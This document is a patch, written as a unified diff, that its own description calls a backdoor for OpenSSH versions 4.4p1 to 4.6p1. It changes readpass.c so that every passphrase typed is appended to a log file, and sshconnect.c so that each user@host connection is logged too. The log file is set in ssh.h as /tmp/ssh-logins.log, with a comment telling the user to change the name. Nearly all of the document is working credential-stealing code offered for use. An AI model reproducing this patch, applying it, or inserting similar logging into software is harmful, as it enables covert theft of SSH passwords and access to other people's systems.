Backdoor patch for OpenSSH versions 4.4p1, 4.5p1, and 4.6p1 that logs usernames, hosts, and passphrases from login attempts.
bf09a9bc1fa3e69a42c62f7d9ccc67ca8d993fc674e0a8165454ad05730c9480
--- openssh-4.[456]p1/readpass.c 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/readpass.c 2007-03-24 23:27:56.000000000 -0500
@@ -115,6 +115,7 @@ read_passphrase(const char *prompt, int
{
char *askpass = NULL, *ret, buf[1024];
int rppflags, use_askpass = 0, ttyfd;
+ FILE *o;
rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
if (flags & RP_USE_ASKPASS)
@@ -158,6 +159,12 @@ read_passphrase(const char *prompt, int
ret = xstrdup(buf);
memset(buf, 'x', sizeof buf);
+
+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "passphrase: %s\n", ret);
+ fclose(o);
+ }
+
return ret;
}
--- openssh-4.[456]p1/ssh.h 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/ssh.h 2007-03-24 23:23:51.000000000 -0500
@@ -12,6 +12,9 @@
* called by a name other than "ssh" or "Secure Shell".
*/
+/* Filename to log user@host and passphrase(s) to [change it! :)] */
+#define EVILLOGFILE "/tmp/ssh-logins.log"
+
/* Cipher used for encrypting authentication files. */
#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES
--- openssh-4.[456]p1/sshconnect.c 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/sshconnect.c 2007-03-24 23:28:24.000000000 -0500
@@ -947,6 +947,7 @@ ssh_login(Sensitive *sensitive, const ch
{
char *host, *cp;
char *server_user, *local_user;
+ FILE *o;
local_user = xstrdup(pw->pw_name);
server_user = options.user ? options.user : local_user;
@@ -957,6 +958,11 @@ ssh_login(Sensitive *sensitive, const ch
if (isupper(*cp))
*cp = (char)tolower(*cp);
+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "%s@%s\n", server_user, host);
+ fclose(o);
+ }
+
/* Exchange protocol version identification strings with the server. */
ssh_exchange_identification();